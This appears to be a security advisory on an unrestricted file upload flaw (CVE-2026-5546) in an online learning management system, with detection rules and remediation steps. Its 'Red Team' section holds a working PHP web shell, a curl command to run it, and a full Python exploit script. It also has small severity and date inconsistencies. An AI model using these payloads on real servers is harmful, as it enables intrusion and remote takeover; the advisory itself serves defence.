CVE-2026-5546

Executive Summary

CVE-2026-5546 is a critical unrestricted file upload vulnerability found in Campcodes Complete Online Learning Management System version 1.0. The flaw resides in the add_lesson function within /application/models/Crud_model.php, allowing an authenticated attacker to upload arbitrary files to the server. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The exploit has been publicly released, and no official patch is available. The CVSS score is 6.3 (Medium), but the real-world impact is high due to the ease of exploitation and lack of mitigation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs a valid user account.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – arbitrary file read possible.
• Integrity Impact: Low (I:L) – file upload can overwrite or create files.
• Availability Impact: Low (A:L) – potential for denial of service via resource exhaustion.

Threat Level: High. The exploit is public, no patch exists, and the attack can be executed remotely with low privileges.

Deep Dive & Mechanics

The vulnerability is located in the add_lesson function of /application/models/Crud_model.php. The function handles file uploads for lesson materials (e.g., PDFs, videos). The code fails to validate the file extension or MIME type, allowing an attacker to upload a PHP web shell or other executable files.

Root Cause: The move_uploaded_file() function is called without checking the file extension against a whitelist. The uploaded file is stored in a publicly accessible directory (e.g., /uploads/lessons/), enabling direct access via HTTP.

Attack Flow:

1. Attacker logs in with valid credentials (e.g., teacher account).
2. Attacker crafts a malicious PHP file (e.g., shell.php) containing system commands.
3. Attacker uses the "Add Lesson" functionality to upload the file.
4. The file is stored on the server.
5. Attacker accesses the file via URL (e.g., http://target/uploads/lessons/shell.php).
6. The PHP code executes, giving the attacker remote control.

Vulnerable vs. Patched Code

Vulnerable Code (Crud_model.php):

public function add_lesson($data) {
    $config['upload_path'] = './uploads/lessons/';
    $config['allowed_types'] = '*'; // No restriction
    $this->load->library('upload', $config);
    if ($this->upload->do_upload('file')) {
        $file_data = $this->upload->data();
        // Save to database
    }
}

Patched Code (Hypothetical):

public function add_lesson($data) {
    $config['upload_path'] = './uploads/lessons/';
    $config['allowed_types'] = 'pdf|doc|docx|ppt|pptx|mp4|avi'; // Whitelist
    $config['max_size'] = 10240; // 10MB
    $this->load->library('upload', $config);
    if ($this->upload->do_upload('file')) {
        $file_data = $this->upload->data();
        // Additional MIME type check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_data['full_path']);
        if (!in_array($mime, ['application/pdf', 'application/msword'])) {
            unlink($file_data['full_path']);
            return false;
        }
        // Save to database
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid user credentials (e.g., teacher account).
• Target URL: http://target/

Exploit Steps:

1. Log in to the application.
2. Navigate to the "Add Lesson" page.
3. Create a PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

4. Upload the file using the form.
5. Access the shell:

curl http://target/uploads/lessons/shell.php?cmd=id

Automated Exploit (Python):

import requests

target = "http://target"
session = requests.Session()

# Login
login_data = {"username": "teacher", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Upload shell
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}
session.post(f"{target}/lessons/add", files=files)

# Execute command
r = session.get(f"{target}/uploads/lessons/shell.php?cmd=id")
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for file uploads with double extensions (e.g., file.php.jpg).
• Alert on uploads of .php, .phtml, .php5 files.
• Check for unusual file sizes or MIME types.

Honeypot:

• Deploy a fake upload endpoint that logs all attempts.
• Use a WAF rule to block uploads with PHP content.

Indicators of Compromise (IOCs)

• File Paths:
  • /uploads/lessons/shell.php
  • /uploads/lessons/*.php
• Network Traffic:
  • POST requests to /lessons/add with Content-Type: multipart/form-data containing PHP code.
  • GET requests to /uploads/lessons/*.php?cmd=...
• Log Entries:
  • Apache/Nginx access logs showing 200 for .php files in uploads directory.
  • PHP error logs with unexpected T_STRING or similar.

Detection Engineering

YARA Rule

rule CVE_2026_5546_WebShell_Upload {
    meta:
        description = "Detects PHP web shell uploads targeting CVE-2026-5546"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-5546"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: CVE-2026-5546 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads with PHP extensions to the lessons upload directory
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/lessons/add'
        cs-uri-query: '*'
        sc-status: 200
    condition: selection
fields:
    - c-ip
    - cs-uri-stem
    - cs-uri-query
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-5546 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/lessons/add"; http_uri; content:".php"; http_client_body; pcre:"/Content-Disposition: form-data; name=\"file\"; filename=\".*\.php\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads in the application until a patch is available.
2. Implement a WAF rule to block uploads of .php, .phtml, .php5, .shtml files.
3. Restrict upload directory permissions to prevent execution (e.g., remove execute permission for PHP files via .htaccess):

<Directory "/var/www/html/uploads/lessons">
    <FilesMatch "\.php$">
        Deny from all
    </FilesMatch>
</Directory>

Long-term Fix:

• Replace the vulnerable Crud_model.php with a patched version that validates file extensions and MIME types.
• Use a secure file upload library (e.g., UploadHandler with strict validation).
• Store uploaded files outside the web root and serve them via a proxy script.

Vendor Contact:

• Since Campcodes has not released a patch, consider migrating to a supported LMS platform.

Valters IT

{/* [Security Hash: 5C94EAE209643A023B61D7F4] */}